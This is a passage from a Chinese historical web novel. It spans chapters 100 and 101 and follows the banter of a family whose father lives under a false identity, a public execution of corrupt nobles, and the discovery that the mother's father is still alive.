宋锦侧着脑袋埋在枕头里,两只手左右一边张开,扭着身子睡得四仰八叉的,被子都快堆到床底了,还有半只脚耷在床边 那么大一场床都不够她一个人睡 牛铁兰蹙起眉头,很是嫌弃地看着人 倒是曲茂泽还是第一次见着人睡着的样子,凤眸微亮,轻声感慨:“我们闺女,睡着了可真可爱啊” 牛铁兰一个白眼,懒得回话 曲茂泽一腔父爱在心,怎么看怎么觉得可爱 瞧瞧这圆圆的后脑勺,那优美的肩颈线,那漂亮的腿部线条,看着都一脚能踹死两个人,多好啊 一点儿都不用担心被别人欺负 他轻声:“让她继续睡吧,小孩子睡懒觉很正常” 牛铁兰呵呵一笑,凉凉:“睡懒觉?我看是玩累了吧,滚起来宋金金,别给我装睡,昨晚上又跑去哪里潇洒了?” 床上的小呼声一窒 四仰八叉的宋锦一个翻身,裹着被子往床里面翻去,顶着乱糟糟的头发和红扑扑的脸翻过身,讪讪一笑 “娘,你起这么早呢?” 牛铁兰抱手,睨她:“早?马上流放的人都要出城了” 宋锦立马一个激灵翻身起床,跳下床匆匆忙忙跑到一边去找衣服,嘴上喊着:“哎呀,都这么晚了?娘你真是的,也不早点叫我……” 牛铁兰走过去拧住她的耳朵:“昨晚上是不是又跑城外去了?又把岐王带走了?你可真行,自己天天逗猫遛狗就算了,还带人岐王一起当纨绔?我看你是脑袋太硬了” 宋锦哎哟:“娘你这说的好像我把人带坏一样,又不是我挟持人走的,他自己要去的嘛,疼疼疼,好了,我错了,我下次不和他玩了还不行嘛,我一会儿就去找他,和他说我娘我不让我和他玩,哎哟哟疼,你到底是谁的娘啊” 牛铁兰气笑,一巴掌拍她脑袋上:“没脸没皮的臭丫头,赶紧收拾” 宋锦揉着发红的耳朵,做了个鬼脸,又继续探回衣柜里面找衣服去了,一看就是半点儿没听进去,也把身后人当空气 牛铁兰看着那边被当透明人的曲茂泽,无奈叹气,在他开口前,走过去拉着人的袖子把人拉了出去 “走了,她换衣服呢” 曲茂泽到嘴的话压了下去,目光深深地看着就快钻进衣柜里的人,难掩失落 等到走到门外,房门关上,他立马问:“她和岐王关系很好?” 牛铁兰嗯了一声 曲茂泽看她神色就知道是自己想的那个意思,他脸上一变,低声:“你应该猜得到,岐王是未来太子吧?” 牛铁兰又嗯了一下 曲茂泽:“那你应该知道不合适吧?” 牛铁兰瞪他:“哪里不合适了?我闺女不配?” 曲茂泽想也不想:“怎么可能,只有别人配不上她的份” 牛铁兰心里好受两分,又问:“那有什么不合适的?” 曲茂泽目光微凉:“三宫六院,再是尊贵,我女儿也不受那个委屈” 牛铁兰看他顺眼两分:“岐王不是那样的人” 曲茂泽:“信他?还是信我,男人能有几个好东西?” 牛铁兰微笑:“我信你不是好东西” 曲茂泽脸色一僵硬,轻咳一声:“我和他们不一样” 牛铁兰给了他个白眼,懒得反问有什么不一样,反正都不是什么好东西,她转身朝着那边凉亭走去,上面摆着炉子,温着茶水,她给自己倒上一杯,轻轻抿着 曲茂泽径直坐在对面,随手拿起上面的栗果剥皮,片刻功夫已经管理好了情绪,他噙着笑,看着大半身子缩在摇椅里的人,轻声 “金金还小呢” 牛铁兰抿茶,凉凉:“小吗?就那个头,不比你矮多少” 曲茂泽笑:“夫人养得好,这些年夫人辛苦了” 牛铁兰垂眸,抿着茶水不说话 辛苦吗?一个人带孩子自然是辛苦的,但是更多的,还是生存的苦。这些无关孩子,没有孩子她也要学会一个人生存 而且,孩子是她的,她并不需要听这种话 曲茂泽手指修长,很快就剥好了栗果,果质软糯,又大又甜,他轻轻笑着:“小小东西,不成敬意” 堂堂首辅剥的,她不吃白不吃 牛铁兰直接伸手过去,指尖捏住半手大的栗果,正要将其拿走却发现拿不动,她瞥了过去,对上曲茂泽含笑的眼 他稳稳拿住栗果,修长手指一探,连果带手一起握入手心,轻轻捏捏她白玉般的指尖,缓缓:“不过看夫人这般,这些年日子也不差,真厉害啊,你说你怎么就这么会跑呢?” 牛铁兰就着指尖掐了过去,在上面留下月牙印,她轻哼:“要你管?” 总的来说,虽然阴差阳错,但是仔细想想,她误以为这人去世,在外面的这些人过得也不错,自己一个人当家一个人带孩子,并不比跟着他当什么劳子外室妻妾的差 永安城虽富贵,麻烦事也不少 这里一个活动,哪儿一个宴会,勾心斗角,一不注意就踩坑了 倒不比乡下清闲 牛铁兰手最后还是捏着栗果入了嘴,轻轻咀嚼,她靠在椅背上,青丝吹髻,浅蓝色兰纹布鞋在裙摆下轻晃,比起十来岁时候少了些灵动,却又多了些静谧恬美 宋商啜饮清茶,眸色深深 他说的可不假,男人能有几个好东西啊 当初若不是她生得貌美,他哪儿会留在身边亲自调查,随意扔给底下人解决就是 说到底,不过是见色起意 那些人别的不说,在美色方面,确实有一手 ** 街道上人潮攒动 今日正是行刑的日子 往日高高在上的国公尚书,现在成了阶下囚,还要当众行刑,无数的人涌上去,想要看一看热闹 当然,也有人心中唏嘘 “那奸臣死去,皆大欢喜才是” “国公,尚书,冤” “皇上糊涂啊” …… 现在已是十月份了,按照往年情况,明年三月份时候便是殿试,那些条件好的举人贡生会提前到永安城准备后面会试殿试,条件差一些的便会赶着时间再来,毕竟在都城吃喝都不便宜 而这些往届举人,一次两次花费也不小,能节约还是节约 这一次,他们这些提前过来的人倒是赶上好时候了 朝廷多开一届科考,眼下只有一个月的时间,便是其他地方的人知道消息,连夜赶路过来,也难免疲劳,他们提前到的则可以好好准备了 说话的这些人就是提前过来的,甚至还有些眼熟 宋锦坐在窗边,听着几个书生在哪里愤愤不平,她握着杯子的手一顿,想也不想的,一个甩手,连着茶杯带水砸了过去 “你干什么?” 最中间说话最大声的人捂着额头看了过来,那茶水在他头上,顺着白色衣服一路往下,留下明显黄渍,伴随着茶叶子,看起来格外狼狈 他怒目宋锦,再见到她妍丽的面容,还有那身一看就不便宜的衣服时,又顿了顿,不死心道:“姑娘是手滑了?” 宋锦没有回答,只是重新倒了杯茶水,又砸了过去,似笑非笑:“确实是手滑了” 男人恼羞成怒,但还是强行压下:“我和姑娘素未蒙面,姑娘为何如此?” 宋锦穿的缇色明柿锦袍,剪裁修身,缝线精细,头上秋鸟含柿钗上红宝石闪闪,一看就价值不菲,颇有背景 她又给自己倒了杯茶,握在手中轻晃,在男人闪躲警惕的神色下,轻轻入口,悠悠:“你竟想不出来?看来你们读书人也不过尔尔” 男人恼羞:“这位姑娘,便是你来历显赫,再有背景,也不该如此轻视我们读书人,说出去,你让你家中父兄如何做人?” 宋锦哦了一声:“那巧了,我爹前几日刚死,兄长嘛,不如你去和他们辩论一下,让他们羞愧而死算了” 男人气噎:“荒谬,荒谬,父兄刚死,你看你穿的,你穿的” 这一身艳丽的,不知道还以为是大喜事呢 宋锦:“这么生气做什么?你不应该觉得高兴吗?” 男人:“可笑,我为何会高兴?你这女子无状,果然唯女子与小人难养也” 宋锦挑眉:“你们读书人好像特别喜欢说这话,我以前在文渊书院的时候,那些蠢货也喜欢这么说,但是你们这些喜欢背后说人坏话的人,不是小人行径吗?怎么总喜欢自己骂自己啊” 男人气急:“我们什么时候背后说人坏话了?” 宋锦悠悠:“刚才不是吗?一口一个奸臣说着死人坏话,这么心疼刑场犯人,不如上去陪陪他们?陛下亲发的旨意,罪大恶极,罪责当死,到了你们这就变成韩元入狱了,不知道的,还以为你们比陛下还厉害” “姑娘慎言” “我们并无这个意思” “宋首辅的恶名在外,我们不过唏嘘” …… 其他读书人脸色变了,一个个不敢多待,赶紧拉着被泼了茶水的男人离开,匆匆忙忙的 都是些怂包货 宋锦啧了一下,很是不屑地放下茶杯,一抬头,对上曲茂泽含笑调侃的眼神,她翻了个大大的白眼:“别想太多,我就是烦这些读书人,见一个骂一个,一群傻子” 曲茂泽眼眸含笑,带着些骄傲和宠溺,就这么看着宋锦,笑:“读书人确实多蠢货,一个个读书都读到水里去了,净往脑袋灌水,屁股比脑袋动得快” 看得出来,他和读书人颇有仇怨 巧了,她也是,宋锦看那些个读书人还有书都烦得很,一天天背背背的,大多数人读个死书,出来就祸害百姓了 她赞赏:“你这点还不错” 曲茂泽勾唇,端起茶杯:“来,敬你一杯” 宋锦看他顺眼,也就大方地和他碰杯 父女俩顶着同样的凤眸,轻轻碰杯,杯声下,是两个同样的性格 自大且目中无人 牛铁兰坐在一旁,蹙着眉,看着两人的目光都有些嫌弃,她无语:“按你的意思,读书人这么差,你怎么不去当武将?” 她闺女本来就不识两个字,再厌学下去怎么得了 这人自己是诗书武艺样样都会,在闺女这就随意了是吧? 她瞪了瞪人 曲茂泽轻笑,非常体贴地给她又倒了杯茶降火气,悠悠:“武将酸臭,脑子空空,一身蛮力,和读书人半斤八两” 他可没有偏向,他就是一视同仁地嫌弃所有人 都是蠢货 牛铁兰翻了个白眼,刚要说话 旁边的宋锦又是一个拍桌,伸手指着曲茂泽:“你,有想法,我也觉得,那些个武夫就是这样,打架又打不赢,还觉得自己很厉害,吹牛就知道往脑子里吹,烦人得很” 曲茂泽挑眉,伸手:“再来一杯?” 宋锦:“再来” 牛铁兰心梗,端起茶杯正要一饮而尽,压压气 两个杯子举了过来,父女俩睁着相似的凤眸看着她,里面碎光闪闪,便是隔着一层虚假的皮肉,她好像都看到两个一模一样的人 更气了啊 生了个崽,养了十来年,长相性子都不像自己 牛铁兰憋着气,瞪着两人,自己喝下茶水,重重放下杯子:“走了,杀人有什么好看的?” 这俩手中都不知道死了多少人了,在这里装模作样 她憋着气起身离开,怒气冲冲离开 宋锦想也不想也跟着瞪人:“都怪你” 说完她大步追上自家老娘,揽着人朝楼下走去 曲茂泽挑着眉,心想,他可没有瞪人的习惯啊 他勾勾唇,将杯子里剩下的茶水一饮而尽,起身悠然跟上 就在他们走下楼时,远处刑场正中,人头攒动之间,砍刀落下,鲜血碰洒,染红了底下青石板片。与此同时,几人冲了进去,冲着其中头颅狠踢,在一片 惊呼声中,就着血滴跪地哭嚎 “天杀的混账,总算是死了啊,可怜我的女儿,还不到十四,被鲁国公世子这混蛋糟蹋,后面还被强送他人,不过十五就难产去死,该死啊,他们该死” “我阿望孩子才两个月,为了赚点钱养家糊口,跑去帮忙,最后没拿到钱不说,还被尚书府的人他们打断了腿,就这么去世了” “我爹去年挖了个百年山参,被他们低价买走,这就算了,他们当天买走,当晚就有人上门过来抢钱,我们藏得那么好,除了他们,除了他们还能是谁” …… 处置罪犯的刑场下,血迹斑斑 刑场外,五人面无表情地站在场外,远远看着围满了的人群,面上皆带着悲伤和嘲讽 宋行之扬着扇子,脸上带着痛快:“我可没有爹的气度,就这么清清白白的走,想得美” 宋商在外的名声一向不好,便是他现在作为完全的受害人‘死去’,都还有不少人叫好,称那些狗东西为民除害 呸 他爹脾气确实不好,但是针对的,可从来都是那些个世家公爵,抄的也都是些贪官污吏,就是手段狠辣,也证据确凿,维护的还是普通人的利益 甚至于,他能被这么多世家官僚抵制,不就是因为他助的是普通人吗? 这些蠢货,就听听吧,听听他们觉得不错的人,到底是踩着多少普通人的尸体上去的 看看谁才是为民,谁才是害 几个人听着前面一点点传来的惊呼人,心中不断涌上痛快,但是难以痛快起来 他们爹真的回不来了 本来人就不爱搭理他们,以后更是找不着了 宋慎之靠在墙上郁闷:“所以就这样了?” 宋商之死确定,他们几个也因为丁忧暂时停职,至于丁忧多久,就看皇上的意思了 宋顺之抱着手靠在一旁,斟酌一会儿,道:“刚好,我打算去安东郡接人” 在一边搭着肩膀、正在商量好去哪儿玩的宋清之和宋安之立马松开手 宋安之兴奋地看着他:“老二,你要去接你未婚妻了?” 宋清之捏着下巴,感慨:“不行啊,爹不在了,你最少也得守一年吧?” 宋顺之嘴角一抽,沉默了一会儿,道:“她孝期到明天四月,再半年时间,准备也合适” 其实这样也有些赶,但这不是他们爹只是换了个身份,还活得好好的嘛 他们难过归难过,收拾收拾心情,还是该干什么就干什么,免得到时候还要被人收拾 宋慎之重重拍着他的肩膀,夸赞:“未来嫂子一个弱女子,也不知道在外面会不会被欺负,你也确实该亲自过去。永安城到安东郡半个月行程,反正也没事,我到时候和你一起去吧” 现在闹成这样,让他一个人去,宋慎之还真不放心 宋安之哎了两声:“我也要去,我还没怎么出去过呢” 他身子骨不太好,大部分时间就在永安城,去过最远的距离也就是五天行程,早就想出去了,但是一直没时间 宋清之也乐:“我也去我也去,我在那边也有铺子,也该巡视了” 几个人都表态了,剩下的宋行之折了折扇,郁闷:“我走不了,皇上之前派人暗示我了,过些天就就着科考缺人的名头回去” 兄弟四个呵呵:“看把你能的” 宋行之:…… 他真的也想休息一下好吧? 但是四人不信,家里五个人中,就属他这个老大喜欢瞎显摆了,上次才因为两个丫鬟的事蔫了一阵,现在又给他能的 宋慎之:“不管他,走吧,我们四个去找个地方吃个酒,好好商量一下后面的行程” 宋清之立马:“那去汇香楼吧,今天进了好菜” 宋安之舔嘴:“看得我还真有些饿了” 宋行之插不上话,继续站在一边郁闷,随意嗯了一声 眼看着他们几个都决定好了,一向沉默的宋顺之投出了反对票,说道:“不去汇香楼,去醉香阁喝酒吧” 宋清之立马不服:“那是什么破地方?” 宋顺之:“夫人和小妹名下的酒铺” 宋清之:…… 宋顺之又补充:“她们今日肯定出门,一般出来就会去西区巡视一圈,没什么意外的话,曲公子应该也在” 其他四人毫不犹豫,转头就走 喝酒喝酒,饭有什么好吃的 真男人就要喝酒 第100章 夫人的父亲 街头上,黄口小儿拿着木棍、拨浪鼓互相追打,卖货的货郎来来往往,闲散的行人站在路边大声闲聊,偶有对于生活的烦恼,但是更多的还是说着明日的期盼 往前二十年,这种场面只有在梦里才有 宋慎之对小时候还有些印象 他们家就是普通小商户,那时候他父母还在,但每日都惶惶不安,拘着他不出门,没多久他们就相继病倒,他也随之被赶出了家,流落街头 当小乞儿的日子不好过,不会争的小乞儿更是 宋慎之他在第一次装弱打折比他大不少的大乞丐的腿的时候,突然就想通了他为什么被赶出家门 那年他爹娘爷奶相继去世,他家被堂伯占去,堂哥性子霸道,喜欢欺负他,那年大冬日他拿起石头砸破人的脑袋,把人往水里推去 他被狠狠走了一顿,赶出家门 他们确实该把他赶走,不然他说不定真会要了他们的命。 他生性狠辣,被赶出家门,倒是在街头混得风生水起,很快就聚起了一批人,打下地盘,去街头讨要吃食,偶尔收些保护费 他每次出手都会先看好人,所以每次也都成功,很少失败 宋商就是其中之一 哪有什么那么多美好相遇啊,他一开始碰上宋商,只是看他衣着华丽,和气温润,身上金玉又昂贵,趁乱偷了东西,然后偷偷觅下,不打算和任何人说 他打算把东西藏好,然后过两年大一些了,再换个地方典当,换个身份 没想到就在当晚,他带着偷的糖点回去,就看到那金尊玉贵的人坐在他们那破破烂烂的据点,翻着他从外面偷回来的书,看着上面他粗陋的打地盘规划 他那些‘兄弟’们有一个算一个全像个鹌鹑一样藏在一边一动不动 宋慎之和宋商第一次见面就是这般 所以宋商给他取名为慎,希望他日后谨慎行事,后面一点点掰他的性子,又把他扔去军营,这一去就是八年 八年间,他回来次数寥寥,每次最多不过半月,又赶赴边疆,和宋商相处机会极少,逛永安城的时间也极少,更别说兄弟五个一起了 上一次他们一起,还是他去军营的前一日 他走的那年,城里还不似这般 短短几年间,永安城人口房屋都不断扩大,百姓安居乐业 宋慎之心中不由感慨,也只有这样,那些在边疆的将士们舍生忘 死的付出才有意义 宋慎之穿着红衣甲胄,腰间系着长刀,走路大刀阔斧,眉目间凛然正气,再无当年邪气阴狠的模样,他感叹 “永安城一日比一日好了,不对,应是大衍一日日好起来了,不说永安城,就说边疆,我刚去的时候除了将士就是将士,现在每年商户游侠不断,周边多了好几个小城” 宋清之对这些最感兴趣,他本就是漠北出生,又是商户,每年总有几个月在外面行商,他道:“人多起来了吗?那边地价如何?水土丰沛吗?要是可以,我买些地种种果子,去年有漠北商户运了干果过来,味道比这边的甜些” 宋慎之挑眉:“漠北什么都不多,就是地多,果子不用种,到处都是,但是不好运出来,也不划算” 现在那边更多的还是皮毛宝石毛毯牲畜这些 宋清之绿眸中漾着得意:“这你就不懂了,只要东西好,不怕不好运,就怕好运” 数量多了就卖不上价了,数量少就刚刚好 宋慎之不懂这些,摇头:“随你,反正亏了钱别找我,我可没钱” 一旁宋安之啧啧:“不是,老三你这些年没少得好东西吧?没见你拿出来啊,怎么,都攒着娶媳妇了?” 宋慎之白眼:“滚一边去,军营里猪都是公的,哪里来的媳妇?倒是你,还有你你,你们三个一点儿动静都没有,怎么回事啊” 说起这个话题,宋安之和宋清之就不吭声了 两个人一个人比花娇,一个忙着赚钱,对成亲没什么兴趣 宋顺之,马上就去接未婚妻了,这个话题和他无关 就剩下个宋行之,他前阵子才被两个身边人背叛,说起这个就神色不振,凉凉:“怎么,还嫌我屋里不够乱?” 春鸢和夏花这一连着背叛,他现在看着其他人也都不得劲了,头一次感受到了女人多的是非 见他这般,宋慎之很是幸灾乐祸 他们三个可以说是前后脚被带回来的,宋顺之还好一点,打小就话少,闷头干自己的,一般情况下不会和他们斗 他和宋行之两个吧,一个惨遭灭门性情狠辣,一个天生阴狠,两个人互相看不瞬间,争来斗去,没少打架 现在宋行之被背叛,就属宋慎之最落进下石了,他怂恿:“哎,不就是少了两个丫鬟嘛,我再去给你买四个回来,如何?” 宋行之凉凉看着他,冷笑:“你还是管管你自己吧,想入赘的蠢货” 宋慎之梗起脖子,黑脸立马通红:“你懂什么,你个你个” 什么都知道的人,凭什么这么说说他啊 他爹也是,凭什么只和这人说啊,他有这么守不住事吗? 宋行之微笑补充:“聪明绝顶、名不虚传” 宋慎之呵呵:“厚颜无耻” …… 两个人斗起了嘴 宋安之和宋清之在一旁乐得看笑话,宋顺之没有参与,他在四周几番搜寻,最后精准找上了一旁玩耍的小孩 “小花他们几个往哪边走了?跟着郡主没有?” 被逮住的是上杨村送过来的小崽子,偷偷跑出来耍懒,被这么抓住,他懊恼地抱着脑袋:“郡主啊,刚才还在呢,往那边走了,我看看,你们直接去武馆吧,他们一般最后去那边” 宋顺之:“这么清楚?不怕我们是坏人?” 小男孩翻了个白眼,伸手指着他们五个:“一二三四五,我知道你们,郡主的五个倒霉哥哥呗” 倒霉哥哥宋顺之:“……挺会猜的” 他忍不住捏了捏他的脸,在人怒瞪之下,默默掏出一枚大钱给他手里,立马收获一个大大的笑容和甜言蜜语 上杨村育婴堂的孩子们,一个比一个机灵,那堂长这些年应是废了不少心血 他爹也,大善啊 宋顺之想着,就更为迫切地想要见到人,他加快步子朝着武馆那边走去,一刻钟的功夫,走到了这边 在各种声音当中,哐哐哐的打铁声格外响亮,里面站着的人也很眼熟 “三公子你们也出来玩?” 小耳在一边拿着糖葫芦卖,见到宋顺之几个,抱着葫芦杆子跑了过来,就跟个小娃娃似的,比他们腰高上一截 宋顺之看着她嬉笑的模样,嘴角一抽:“……你在这卖糖葫芦?” 别的人宋顺之不知道,反正小眉和小耳他有所耳闻,两个现在拿一份宋府的银钱,又领一份母女俩的,身上金玉真不少,不缺这几颗糖葫芦钱 小耳嘴里含着一颗糖葫芦:“没事干卖着玩,三公子来一串?” 说着,宋行之几个人慢了几步过来,步子刚刚停下,手里就一人多了一串火红滚圆的糖葫芦 宋清之年纪小,也不觉幼稚,直接啃了一口,纳闷地打量着小耳:“你怎么在这里?” 小耳咔擦咔擦:“我就在这里啊,倒是五位公子今天怎么过来了?你们不应该在刑场吗?” 她本来也想去的,最后还是没那个胆子,赶巧这边忙就来这边玩了,偶尔还能招呼一下人 宋清之也咔擦卡擦:“看了过来的,小妹夫人过来了吗?糖葫芦你自己做的?还挺好吃的” 小耳摇头,左耳上填补空缺的玉坠很是显眼,她疑惑:“别人那里买的,本来打算分给那些小娃娃的。小姐还没来呢,几位公子找她有急事?” 其他还没吃的四人默默把糖葫芦插回草垛子上 宋清之觉得嘴里的糖葫芦也不香了,干笑一声:“你这么大方呢?一个月月钱这么够花?” 小耳嘴里鼓鼓:“够了够了,府里一个月五两银子,还有衣服首饰发,根本花不完咧” 宋清之:“没见识的小丫头,五两银子都多?一个好的银簪子都做不了” 小耳大眼睛溜溜:“银簪子又不能吃,换做精米,一个月能把我撑死” 宋清之啧了一声:“没出息” 小耳嘟囔:“我一个小丫头要什么出息” 小耳自小在宋家长大,没有太大的主仆观念,过来以后,兄弟几个看得出宋锦牛铁兰对两个小丫鬟态度不同,对她们也不似一般丫鬟随意 更别说小耳个头不高,眼睛很大,脸蛋圆圆,带着些婴儿肥,又性子活泼,就跟个小娃娃差似的,让人很难和她计较这些 宋慎之看着小耳,思索片刻,道:“你有些眼熟” 宋清之一言难尽:“小妹身边的小丫鬟,能不眼熟吗?” 宋慎之没理他,仔细打量着小耳,他身形高大,皮肤黝黑,目光凛凛,一身气势很是压人 小耳只到他腰上一截,被看得有些发怂,后退一步,拿着糖葫芦垛立于身前,往后一藏,警惕起来:“我,我,小姐一会儿就来了” 宋慎之看得好笑,扯着嘴角,故意逗弄:“她来了如何?她来了就会为你做主,和我这个哥哥对着干?” 小耳噔噔噔后退两步,瞪眼:“不然呢?” 见她这么有底气,宋慎之眉头一挑,扭扭脖子:“那我倒是要试试” 说着,他伸出手,粗壮的手臂上甲胄哐哐,手掌粗大,上面遍布候茧和大小伤疤,看起来一巴掌就能捏爆脑袋,他重重一挥,带着爆风声 小耳忍不住尖叫一声 破风声压着她的尖叫声擦身而过 宋慎之哈哈大笑:“屁大点胆子,小丫头,怎么一点都不像你小姐?” 小耳呼吸停滞,紧紧抱着糖葫芦串,气得咬着牙,狠狠瞪了他一眼,气冲冲踏着重重步子跑回铁铺去了 那边,随着她的尖叫声,一直在里面老实打铁的小多拎着百斤重的铁锤走了出来 小耳跑过去拉着人,他们站的远也听不清说了什么,但是就看她指指点点、跳脚的样子,那叽里咕噜的一看就是告状 宋慎之哈哈:“不愧是小妹身边的,这小玩意儿还是有胆子嘛” 一般丫鬟碰上他这般,不是大哭就是跪地求饶,小耳第一反应是告状,确实有些胆子在身 宋顺之一言难尽地看着他:“你和小妹还没打够吗?” 非要跑去招惹人 宋慎之听到这话骨头还有些疼,他捂了捂肋骨,讪笑:“不至于吧?” “不至于吗?” 踩着轻功的宋锦从后面的墙上跃了下来,一个拳头重重砸在宋慎之脑袋上,再一觉踹他屁股上,换做兄弟其他四个,肯定要被踹个狗啃屎 宋慎之好在还是有真功夫的,踉跄一下稳住了身形,看着怒气冲冲的宋锦,讪讪:“小妹也在这边啊,刚才还没看到” 宋锦面无表情地看着他,两只手合在一起使劲掰着,咔擦的骨节声作响:“好玩吗?” 宋慎之尴尬:“……还行” 宋锦呵呵一笑:“回去再打一场” 宋慎之余光看着过来的人影,心里苦得跟吃了黄连似的,后悔刚才冲动之举了 这不是在军营待就了,习惯和一群大男人打闹了,再加上小耳长得和那小子很像,一时习惯了 他解释:“我刚才这么做是有原因的” 宋锦一拳又砸了过去,似笑非笑:“我这么做也是有原因的” 只怪他忒欠了 宋慎之还想解释,宋锦已经抱着手走去另一边看小耳去了 小耳脸蛋红红就跟个红苹果似的,还在那边蹦跳跺脚,不断重复:“气死我了气死我了,好丢人,小多我是不是很丢人?” 小多单手拎着大铁锤,另一只手轻轻按住她的脑袋:“不丢人,他坏” 小耳气鼓鼓重复:“太坏了” …… 小多脑子不好使,但体型健硕,在镇上时候就是干活主力,对比小耳小小一个,还不到他的胸口 宋锦啧了一声 两人性子是合,但是体型不太合啊 宋锦看着就想歪了几瞬,甩掉脑袋里乱七八糟的东西,走了过去,拍拍她的脑袋:“好了好了,不气了,等回去我给你出气” 小耳呜呜哇哇抱住宋锦:“小姐啊,你可要替我好好出气,丢死人了” 宋锦好笑:“好好好,帮你出气,小眉阿茂呢?” 小耳委屈:“ 去刑场了,他们不带我” 宋锦瞅着她的小个子,心道确实不能带去,挤进人群里被挤瘪了就不太好了,拍拍她的脑袋安抚人,再看向小多手里的锤子,叹气:“小多啊,不到万不得已,不能用锤子打架” 小多立马像个小孩子一样,把锤子往后一藏,闷着声音:“我没有打” 宋锦夸:“真棒,带着小耳去里面玩吧,不许打架,有人打你,能躲就躲,躲不了也不许打人脑袋胸口,打手脚知道吗?” 小多闷闷:“知道了” 宋锦点头,摆手:“回去吧你们两个” 两个人蔫着脑袋往铁铺里面去了 另一边,曲茂泽和牛铁兰慢悠悠走了过来 他们本来是在街道的另一头,老远的,宋锦见宋慎之欺负人才跳着墙快速跑了过来,给人逮了个正着 家里四个人都是她看着长大的,跟弟弟妹妹一样 曲茂泽远远听到她的嘱咐,噙着笑,有些意外:“我还以为她会说随便打,她负责” 牛铁兰瞥他:“你真当她傻啊,她做事有分寸的” 要是别人就算了,小多力气大又脑子不好,不多嘱咐,一拳下去出了人命,便是寻常恶人也就算了,若是有些地位的,他作为仆从,就是她们现在都不太好使,更别说以前了 宋锦自己是嚣张跋扈,但是对其他人都要求谨小慎微 这个年头,同一件事,不同身份的后果也不同了 这样想着,牛铁兰思索片刻,道:“也是时候给他们赎身了” 都城事情太多了,奴仆和平民在外碰上事也不相同 曲茂泽挑眉:“舍得?她们一走,换了人伺候怕没那么适应” 牛铁兰抬头看他,伸手轻轻点着他的胸口,眉目流转,轻哼:“我们母女俩可不像某些人锦衣玉食惯了,我们自力更生,不需要人伺候” 说着,她就放下手,又被轻轻抓住 曲茂泽微微前倾,眸光清亮,噙着笑,声音轻缓暧昧:“夫人此言差矣,我自小可没人伺候,相反,伺候人的本事,还是学了阵子。正好,她们走了,为夫刚好可以好生伺候夫人” 牛铁兰脸颊瞬间升温,飘起红霞,她强行抽回手一巴掌拍回去:“谁稀罕啊” 说着,她狠狠瞪了瞪人,大步朝前走去 曲茂泽闷笑几声,抵抵舌根,唇角弯起,步伐稳健地跟了上去。 一路上,他脸上笑意不减,论谁看着都能看出他的柔情和意,一直到他转身对上五个风采各异、意气风发的少年郎,他神色淡了下去 虽然他的嘴角依旧弯着,但是就是肉眼可见的冷淡微凉,写满了嫌弃 曲茂泽轻声:“五位公子,另尊去世不到半年,穿这么鲜艳,还有心思出来闲逛,看起来很开心可以当家做主” 五人:…… 不是,是爹你说的啊 什么走后无需繁冗缛节,自当潇洒吟笑 就忘了吗?忘了? 宋锦在旁边欢笑得跟花儿似的,怎么不见你说一声啊 宋慎之格外委屈,虽然爹不止他一个儿子,但是他就这么一个爹,一个活爹啊,他道:“家父曾留信,不喜白麻,不喜哭丧” 曲茂泽勾着嘴角,似笑非笑:“是吗?他不喜的就这两个?应该有五个吧?” 听懂了吗?给他有多远滚多远 真当他改头换面是弄着玩的?若不是突然冒出宋锦和牛铁兰,他根本不会暴露丝毫身份,哪儿用得着继续看着这些个讨嫌的 宋慎之大受打击:“五个?四个吧?对吧,就是四个?” 其他四人也一脸期盼地看着他 对啊,就应该是四个,其他几个讨债鬼讨嫌就算了,自己不一样啊 曲茂泽看着几个自己从小带回家,从一个个歪脖子树一点点掰成小翠竹的儿子们,看着他们眼中的期盼,嘴角弧度越发弯起,轻柔又残酷 “当然是五” 或没说完,牛铁兰踮着脚捂住他的嘴,恼怒地瞪着他,低声:“不会说话就给我闭嘴” 这死鬼爱死不死想滚就滚,她们母女俩可还要在宋府住呢,他就给他们得罪人拉仇恨吧 曲茂泽看着她藏不住的心软,闷笑一声,舌尖轻轻探出 牛铁兰下意识放手,掌心的湿润让她很是恼怒,这死不要脸的,她狠狠抬脚跺下 曲茂泽早有准备地一推,笑容噙到一半 宋锦在后面一脚过去,骂骂咧咧:“有毛病,别惹我娘” 曲茂泽无奈叹气:“好好好,我错了,你们别生气” 这对比,兄弟五个都快红眼了 真是让人又妒忌又气 宋锦比了比手,平等地威胁:“看什么看?要打架啊” 五兄弟心里苦,但是说不出来,打还打不过 最后还是牛铁兰有些看不过眼,给父女俩都狠狠瞪了一遍,一只手掐一个人,直到两个人身上的阴阳气都消散,这才收回收,温柔看着五个快哭出来的‘孩子’ “你们怎么在这里?刑场的事处理好了吗?” 宋慎之干硬:“好了,都死了,他们罪有应得” 虽然他态度很硬,但是眼睛也是最红的,牛铁兰都生怕自己声音大一点人就当街哭出来了,那就麻烦了 她轻柔:“那就好,这段时间这么辛苦,也该好好散散心休息一下。之前你们忙碌也没来得及问你们,你们后面有什么打算?” 宋商‘去世’,就是按照之前最初出事的六月份,他们都最少还有半年的丁忧期,至于长的,三年也说不好,这就要看皇上的意思了 那些人针对宋商,也有这些因素 宋商一死,宋家其他人丁忧,很好对付 不过现在动手的人被处死,两个王爷降爵,其他暗处的人就算有什么心思,也得安静一段时间 面对牛铁兰的好意,宋行之抢先一步,恭敬回道:“皇上口谕,我下月应要重新当值,负责科举的事情,老三要去安东郡接未婚妻回都,老二老四老五要跟着过去” 这样想着,本来出不了们的宋行之一顿,豁然开朗 是啊,虽然他出不了门,但是他爹他们也在啊,到时候就他一个儿子在家 宋行之笑得春风得意:“大喜事冲一冲,他们心里也能舒服些” 其他四人:…… 这绝对是上眼药 牛铁兰有些意外,再看向宋顺之也真诚笑道:“那可就太好了,你们几个都一把年纪,难得有人成婚,确实是大喜事了” “……” 这事也就宋顺之笑得出来,他确实是真心实意想成婚了,他恭敬沉稳道:“夫人说得是,此番一去,来回至少得一个月,夫人和小妹在家中保重身体,待我和夫人的父亲通个信,探一探他的意思,若是可以,带他一同回来。” 牛铁兰一愣,呆滞地看向他:“什么父亲?” 宋顺之迟疑,这几日忙着其他的,倒是忘了这事,有些懊恼道:“正是夫人的父亲,他在安东郡” 牛铁兰身形一倒 宋锦稳稳扶着人,皱眉:“我阿 爷,不是去世了吗?” 宋顺之小心斟酌,谨慎道:“并未,侥幸留了一命,候巧荷当时说了名字,我多问了两嘴,确定了身份。若是那人的话,他便在安东郡内,父,曲公子应也听过人” 曲茂泽轻轻揽着人,凤眸微眯,心中隐隐有了猜测,也有了不详的预感:“谁?” 宋顺之郑重:“安东君,阮南林”【你现在阅读的是 】 100-110 第101章 能屈能伸 冬季来临,永安城的白日越来越短 比起正夏时节,城门的开门时间也随之延后半个来时辰,关城门的时间也随之提前 